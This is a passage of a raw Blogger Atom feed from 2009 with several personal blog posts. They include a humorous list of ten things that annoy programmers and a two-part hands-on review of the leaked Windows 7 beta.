src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-351900533763834063</id><published>2009-03-08T21:57:00.003+05:30</published><updated>2009-03-08T22:02:26.083+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Random'/><title type='text'>10 things that annoy programmers</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;b&gt;10.  Comments that explain the "how" but not the "why"  &lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Introductory-level programming courses teach students to comment early and comment often.  The idea is that it's better to have too many comments than to have too few.  Unfortunately, many programmers seem to take this as a personal challenge to comment &lt;i&gt;every single line of code&lt;/i&gt;.  This is why you will often see something like this code snippit taken from Jeff Atwood's post on &lt;a href="http://www.codinghorror.com/blog/archives/001150.html"&gt;Coding Without Comments&lt;/a&gt;:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[code:c#]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;r = n / 2; // Set r to n divided by 2&lt;br /&gt;&lt;br /&gt;// Loop while r - (n/r) is greater than t&lt;br /&gt;while ( abs( r - (n/r) ) &gt; t ) {&lt;br /&gt;  r = 0.5 * ( r + (n/r) ); // Set r to half of r + (n/r)&lt;br /&gt;}&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[/code]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Do you have any idea what this code does?  Me neither.  The problem is that while there are plenty of comments describing &lt;i&gt;what &lt;/i&gt;the code is doing, there are none describing &lt;i&gt;why &lt;/i&gt;it's doing it.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Now, consider the same code with a different commenting methodology:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[code:c#]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;// square root of n with Newton-Raphson approximation&lt;br /&gt;r = n / 2;&lt;br /&gt;&lt;br /&gt;while ( abs( r - (n/r) ) &gt; t ) {&lt;br /&gt;  r = 0.5 * ( r + (n/r) );&lt;br /&gt;}&lt;/p&gt;  &lt;p class="MsoNormal"&gt;[/code]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Much better!  We still might not understand exactly what's going on here, but at least we have a starting point.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Comments are supposed to help the reader understand the code, not the syntax.  It's a fair assumption that the reader has a basic understanding of how a for loop works; there's no need to add comments such as "// iterate over a list of customers".  What the reader is not going to be familiar with is why your code works and why you chose to write it the way you did. &lt;/p&gt;  &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;9.  Interruptions&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Very few programmers can go from 0 to code at the drop of a hat.  In general, we tend to be more akin to locomotives than ferraris; it may take us awhile to get started, but once we hit our stride we can get an impressive amount of work done.  Unfortunately, it's very hard to get into a programming zone when your train of thought is constantly being derailed by clients, managers, and fellow programmers.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;There is simply too much information we need to keep in mind while we're working on a task to be able to drop the task, handle another issue, then pick up the task without missing a beat.  Interruptions kill our train of thought and getting it back is often a time-consuming, frustrating, and worst of all, error-prone process. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;8.  Scope creep&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;From &lt;a href="http://en.wikipedia.org/wiki/Scope_creep"&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Scope creep (also called focus creep, requirement creep, feature creep, and sometimes kitchen sink syndrome) in project management refers to uncontrolled changes in a project's scope. This phenomenon can occur when the scope of a project is not properly defined, documented, or controlled. It is generally considered a negative occurrence that is to be avoided.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Scope creep turns relatively simple requests into horribly complex and time consuming monsters.  It only takes a few innocent keystrokes by the requirements guy for scope creep to happen:&lt;/p&gt;  &lt;ul style="margin-top: 0in;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;Version      1: Show a map of the location&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Version      2: Show a &lt;b&gt;3D&lt;/b&gt; map of the location&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Version      3: Show a &lt;b&gt;3D&lt;/b&gt; map of the location &lt;b&gt;that the user can fly through&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;Argh!  What used to be a 30 minute task just turned into a massively complex system that could take hundreds of man hours.  Even worse, most of the time scope creep happens &lt;i&gt;during&lt;/i&gt; development, which requires rewriting, refactoring, and sometimes throwing out code that was developed just days prior. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;7.  Management that doesn't understand programming&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="Picture_x0020_11" spid="_x0000_i1026" type="#_x0000_t75" alt="Compiling" style="'width:155.25pt;height:135pt;visibility:visible;"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\ankit\LOCALS~1\Temp\msohtmlclip1\01\clip_image001.png" title="Compiling"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;img src="file:///C:/DOCUME%7E1/ankit/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image002.gif" alt="Compiling" shapes="Picture_x0020_11" border="0" height="180" width="207" /&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;Ok, so maybe there are &lt;a href="http://xkcd.com/303/"&gt;some perks&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Management is not an easy job.  People suck; we're fickle and fragile and we're all out for #1.  Keeping a large group of people content and cohesive is a mountain of a task.  However, that doesn't mean that managers should be able to get away without having some basic understanding of what their subordinates are doing, especially in the tech industry.  When management cannot grasp the basic concepts of our jobs, we end up with scope creep, unrealistic deadlines, and general frustration on both sides of the table.  This is a pretty common complaint amongst programmers and the source of a lot of angst (as well as one hilarious &lt;a href="http://www.dilbert.com/"&gt;cartoon&lt;/a&gt;).&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;6.  Documenting our applications&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Let me preface this by saying that yes, I know that there are a lot of documentation-generating applications out there, but in my experience those are usually only good for generating API documentation for other programmers to read.  If you are working with an application that normal everyday people are using, you're going to have to write some documentation that the average layman can understand (e.g. how your application works, troubleshooting guides, etc.).&lt;/p&gt;  &lt;p class="MsoNormal"&gt;It's not hard to see that this is something programmers dread doing.  Take a quick look at all the open-source projects out there.  What's the one thing that all of them are constantly asking for help with?  Documentation.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;I think I can safely speak on behalf of all programmers everywhere when I say, "&lt;a href="http://en.wikipedia.org/wiki/Trash_of_the_Titans"&gt;can't someone else do it?&lt;/a&gt;". &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;5.  Applications without documentation&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;I never said that we weren't hypocrites.  :-)  Programmers are constantly asked to incorporate 3rd party libraries and applications into their work.  In order to do that, we need documentation.  Unfortunately, as mentioned in item 6, programmers hate writing documentation.  No, the irony is not lost on us.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;There's nothing more frustrating than trying to utilize a 3rd party library while having absolutely no fricken idea what half the functions in the API do.  What's the difference between poorlyNamedFunctionA() and poorlyButSimilarlyNamedFunctionB()?  Do I need to perform a null check before accessing PropertyX?  I guess I'll just have to find out through trial and error!  Ugh. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;4.  Hardware&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Any programmer who has ever been called upon to debug a strange crash on the database server or why the RAID drives aren't working properly knows that hardware problems are a pain.  There seems to be a common misconception that since programmers work with computers, we must know how to fix them.  Granted, this may be true for some programmers, but I reckon the vast majority of us don't know or really care about what's going on after the code gets translated into assembly.  We just want the stuff to work like it's supposed to so we can focus on higher level tasks. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;3.  Vagueness&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;"The website is broken".  "Feature X isn't working properly".  Vague requests are a pain to deal with.  It's always surprising to me how exasperated non-programmers tend to get when they are asked to reproduce a problem for a programmer.  They don't seem to understand that "it's broken, fix it!" is &lt;b&gt;not&lt;/b&gt; enough information for us to work off of.  &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Software is (for the most part) deterministic. We like it that way.  Humor us by letting us figure out which step of the process is broken instead of asking us to simply "fix it". &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;2.  Other programmers&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Programmers don't always get along with other programmers.  Shocking, but true.  This could easily be its own top 10 list, so I'm just going to list some of the common traits programmers have that annoy their fellow programmers and save going into detail for a separate post:&lt;/p&gt;  &lt;ul style="margin-top: 0in;" type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;Being      grumpy to the point of being hostile. &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Failing      to understand that there is a time to debate system architecture and a      time to get things done.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Inability      to communicate effectively and confusing terminology. &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Failure      to pull ones own weight. &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Being      apathetic towards the code base and project&lt;/li&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;And last, but not least, the number 1 thing that annoys programmers...&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;1.  Their own code, 6 months later&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shape id="Picture_x0020_12" spid="_x0000_i1025" type="#_x0000_t75" alt="http://www.kevinwilliampang.com/image.axd?picture=Sand-Mandala.JPG" style="'width:150pt;height:112.5pt;visibility:visible;mso-wrap-style:square'"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\ankit\LOCALS~1\Temp\msohtmlclip1\01\clip_image003.jpg" title="image.axd?picture=Sand-Mandala"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;img src="file:///C:/DOCUME%7E1/ankit/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image003.jpg" alt="http://www.kevinwilliampang.com/image.axd?picture=Sand-Mandala.JPG" shapes="Picture_x0020_12" border="0" height="150" width="200" /&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i&gt;Don't sneeze, I think I see a bug.&lt;/i&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ever look back at some of your old code and grimace in pain?  How stupid you were!  How could you, who know so much &lt;i&gt;now&lt;/i&gt;, have written &lt;i&gt;that&lt;/i&gt;?  Burn it!  Burn it with fire!&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Well, good news.  You're not alone.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The truth is, the programming world is one that is constantly changing.  What we regard as a best practice today can be obsolete tomorrow.  It's simply not possible to write perfect code because the standards upon which our code is judged is evolving every day.  It's tough to cope with the fact that your work, as beautiful as it may be &lt;i&gt;now&lt;/i&gt;, is probably going to be ridiculed later.  It's frustrating because no matter how much research we do into the latest and greatest tools, designs, frameworks, and best practices, there's always the sense that what we're truly after is slightly out of reach.  For me, this is the most annoying thing about being a programmer.  The fragility of what we do is necessary to facilitate improvement, but I can't help feeling like I'm one of those &lt;a href="http://en.wikipedia.org/wiki/Sand_mandala"&gt;sand-painting monks&lt;/a&gt;. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Well, there you have it.  The top 10 things that annoy programmers.  Again, if you feel that I missed anything please be sure to let me know in the comments!&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-351900533763834063?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/351900533763834063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=351900533763834063' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/351900533763834063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/351900533763834063'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/03/10.html' title='10 things that annoy programmers'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2182136213934853</id><published>2009-03-08T13:39:00.005+05:30</published><updated>2009-03-08T13:46:08.318+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Random'/><title type='text'>New FACE of WAR</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_7tuJ7C_qMvQ/SbN9tMTqERI/AAAAAAAAADM/dhW_G2_NNTU/s1600-h/geeks.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 234px;" src="http://4.bp.blogspot.com/_7tuJ7C_qMvQ/SbN9tMTqERI/AAAAAAAAADM/dhW_G2_NNTU/s320/geeks.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5310726600951206162" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;click on image to enlarge..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2182136213934853?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2182136213934853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2182136213934853' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2182136213934853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2182136213934853'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/03/new-face-of-war.html' title='New FACE of WAR'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_7tuJ7C_qMvQ/SbN9tMTqERI/AAAAAAAAADM/dhW_G2_NNTU/s72-c/geeks.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8395953857144014835</id><published>2009-03-04T14:06:00.006+05:30</published><updated>2009-04-10T11:10:42.847+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='News'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>WINDOWS 7:worth installing?? (ch-2)</title><content type='html'>continued from &lt;a href="http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch-1.html"&gt;chapter one. &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Another addition to the Windows 7 taskbar is the jumplist. A jumplist is a personalized menu that may offer access to the program’s functions or recently/frequently used files. Since i'm talking about personalized menus, their content is, of course, decided by each application’s developer and will consequently vary. For example, while the Windows Explorer jumplist displays a list of frequently and recently accessed locations, the Internet Explorer jumplist will display your browser's history.&lt;br /&gt;&lt;br /&gt;As for new stylish elements in this operating system, I should mention that most progress bars will now be viewable from the taskbar, so you won’t need to focus on a window just to find out how much progress has been made. You will notice another eye-catching feature when hovering over the taskbar icon of an opened application – the lightning effect that highlights the pointer's position.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Naturally, the taskbar and Start Menu properties haven't been left unchanged either. Improvements have been made especially to the Start Menu options, which now allow you to customize it in a manner that, had it been available in previous Windows operating systems, it could have been achieved only through registry tweaks.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt; What's in and what's out&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fans of Windows Movie Maker will probably be surprised to find out that this component, along with Windows Mail and Windows Photo Gallery, is no longer bundled in Windows 7. Don't worry, you can always download them from Windows Live.&lt;br /&gt;&lt;br /&gt;Of course, Microsoft couldn't have removed applications without adding a few new ones as well. A pretty useful software is Windows DVD Maker that allows you to create your very own multimedia DVD. Although the program is easy to use and offers a straightforward procedure for burning your video, music and graphic files to a DVD, it also enables you to customize various DVD settings, such as its menu, video format or DVD aspect ratio.&lt;br /&gt;&lt;br /&gt;There are also a few other, smaller, additions like the Sticky Notes, Snipping Tool, and even a long awaited Disc Image Burning Tool. Unfortunately, none of these utilities is advanced, but if you're looking for some basic operations, they are surely the handiest solution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Changes in Windows programs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The basic changes that you can easily discover by just browsing for a few minutes are as follows. Wordpad and Paint have been enhanced a bit, in that they now employ the ribbon interface. You'll be using the beta version of Internet Explorer 8 and a not-yet-released for download version 12 of Windows Media Player. Windows Calculator now features Programmer and Statistics modes, and includes date calculation and unit conversion functionality as well.&lt;br /&gt;&lt;br /&gt;Windows Search functions on a much more improved engine, as compared to the one available at this moment in/for Vista. A less important optimization, but still worth mentioning, is the ability to resize the length of the search bar in Windows Explorer.&lt;br /&gt;Last but not least in our list of changes that would probably interest any average user are the Control Panel additions. You'll notice a few new items: ClearType Text Tuner, Credential Manager, Display Color Calibration Wizard, Gadgets, Location and Other Sensors, Recovery, System Icons, Troubleshooting, Workspaces Center, Biometric Devices, Windows Solution Center.&lt;br /&gt;&lt;br /&gt;Windows Solution Center is the replacement of the Windows Security Center currently available in Windows Vista and XP. It will now provide access to the system's security components (virus, network access and spyware protection, firewall, UAC, automatic updates, etc.), but also to maintenance tasks such as Windows Backup, System Restore or Troubleshooting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After my quick tour in Windows 7, I find myself very enthusiastic about it. Unfortunately, there is always a “but” that follows this type of statements. Windows 7 improves or introduces cool, new features like jumplists and thumbnails, but you won't be able to fully enjoy them on non-native Windows 7 applications. Don't expect the tab trick to work on the current version of Firefox or Maxthon and, sadly, the same goes for the play control of Winamp, for example. Not yet, at least.&lt;br /&gt;&lt;br /&gt;Homegroups are a great way to share files, but please remember they are a Windows 7 feature, so you won't be able to use them with your friends and colleagues using Vista or XP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Last but not least in our list of changes that would probably interest any average user are the Control Panel additions. You'll notice a few new items: ClearType Text Tuner, Credential Manager, Display Color Calibration Wizard, Gadgets, Location and Other Sensors, Recovery, System Icons, Troubleshooting, Workspaces Center, Biometric Devices, Windows Solution Center.&lt;br /&gt;&lt;br /&gt;Windows Solution Center is the replacement of the Windows Security Center currently available in Windows Vista and XP. It will now provide access to the system's security components (virus, network access and spyware protection, firewall, UAC, automatic updates, etc.), but also to maintenance tasks such as Windows Backup, System Restore or Troubleshooting.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch-1.html"&gt;WINDOWS 7:worth installing?? (ch-1)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch.html"&gt;WINDOWS 7:worth installing?? (ch-2)&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8395953857144014835?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8395953857144014835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8395953857144014835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8395953857144014835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8395953857144014835'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch.html' title='WINDOWS 7:worth installing?? (ch-2)'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8653801677246799483</id><published>2009-03-04T13:51:00.007+05:30</published><updated>2009-04-10T11:11:15.671+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='News'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>WINDOWS 7:worth installing?? (ch-1)</title><content type='html'>As you probably know by now, a beta version of Microsoft's future operating system, Windows 7, has been leaked to the “masses.” Of course, i couldn't let such an opportunity pass by, and decided to take a quick tour of this release, so i could come up with an answer to the most relevant question of all: is it worth it? Is Windows 7 worth installing? Therefore, i decided to have a look at the most common Windows locations, functions and utilities that the average user might access or use, see to what extent this operating system was any different from its predecessor and, thus, answer the above question.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Installation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As a starting note, i should state that Windows 7 was installed on a Vista-compatible laptop, and, therefore, performance was not an issue. As for the installation process, it lasted approximately 25 minutes and was almost identical to the one found in Windows Vista. You must have noticed that I said “almost.” The addition of homegroups is a difference between the two operating systems that you will surely notice even during the installation process – at the end of it, you will receive a password that will later allow you to access this facility.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Getting started&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When the setup process was finished, I headed to the Getting started window to see the new functionalities in Windows that I should be concentrating on. Since i'm talking about a beta version, this didn't turn out to be a very wise decision: the What's New headlines were missing. Instead, Item 1, Item 2 and Item 3 were displayed. Still, included in this window is a See more new features button that leads to the section in Windows Help with all the new features I was looking for: Specialized for laptops, Optimized for entertainment, Designed for services, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Highlights&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Specialized for laptops, unfortunately, does not mean in any way that, by installing Windows 7 on a laptop, you'll be able to use it a lot longer by running just on your battery. The power consumption is, at best, the same as in Windows Vista. However, Windows 7 does include more advanced power options and power plans that might help you squeeze just a little bit more juice out of your battery.&lt;br /&gt;In this version of Microsoft Windows, Media Player finally has its own sets of codecs, which will allow you to view videos, movies and clips without having to search the Internet for codec packs. Furthermore, Windows Media Center has been “pimped” to ensure that Windows 7 really is optimized for entertainment. The downside in this case is that, during my testing of Windows Media Player, the application froze repeatedly and, to cap it all off, so did the entire system with it (thus forcing the user to reboot in order to get back control).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I think it's safe to say that designing Windows 7 for services most probably brought the coolest new concepts in looks and maneuverability of windows. Therefore, in order to make this operating system from a touch screen extremely easy to use, several new, interesting and very useful features have been implemented. Aside from the Superbar you've probably heard of – that, in a way, uses the concept of mac docks – another addition, which, although potentially useful to the average user, I doubt was designed especially for them, is the “shake” functionality that allows them to minimize all windows behind a window that is shaken a bit using its title bar.&lt;br /&gt;&lt;br /&gt;Last but not least, you'll be able to maximize a window by just dragging it to the top of the screen, or to resize its width to the width of the screen by either dragging its title bar to the right/left edge of the screen, or the resize arrows to the top/bottom of the screen. As a side note, similar actions have been assigned through the usage of the Windows and directional keys: Windows Key + Up = Maximize, Windows Key + Down = Minimize, Windows Key + Left = The window will occupy the entire left side of the screen, Windows Key + Right = The window will occupy the entire right side of the screen.&lt;br /&gt;Start Menu and Taskbar&lt;br /&gt;Since i'm talking about useful changes brought to the operating system's look, I must also mention the improved tray. First of all, to the right of the clock, you can now observe a new button that will show/hide the desktop (so, no, you won't be needing the quicklaunch shortcut anymore). Secondly, the possibility to change icon order has finally been implemented. And thirdly, all third-party/ irrelevant/ unused icons will no longer occupy most of the space in your tray: all of them can be accessed with just one click on a small arrow to the left of the tray area.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you might have heard already, the Superbar isn't the only major change brought to the Windows 7 taskbar. You can now finally change the order of your windows in the taskbar. Furthermore, the thumbnails have been considerably tweaked, and they no longer function as a small, singular preview of an application.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 255);"&gt;Windows 7 will now display a thumbnail for each window of a group, and from each thumbnail, users can close the corresponding window or, in some cases, access its common controls, like Play, Previous, or Next in the case of Windows Media Player. Another example of how the thumbnails have been improved is the possibility to view the tabs of an application as if they were separate windows just by hovering over its taskbar icon with your mouse. Naturally, the thumbnail will also function as a preview to a specific window, so you won't necessarily need to switch windows in order to just take a quick peek at another program – for instance, hovering over the thumbnail will do the trick instead.&lt;br /&gt;&lt;br /&gt;contd...&lt;br /&gt;&lt;a style="color: rgb(255, 204, 255);" href="http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch-1.html"&gt;WINDOWS 7:worth installing?? (ch-1)&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(255, 204, 255);" href="http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch.html"&gt;WINDOWS 7:worth installing?? (ch-2)&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-8653801677246799483?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/8653801677246799483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=8653801677246799483' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8653801677246799483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8653801677246799483'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2009/03/windows-7worth-installing-ch-1.html' title='WINDOWS 7:worth installing?? (ch-1)'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 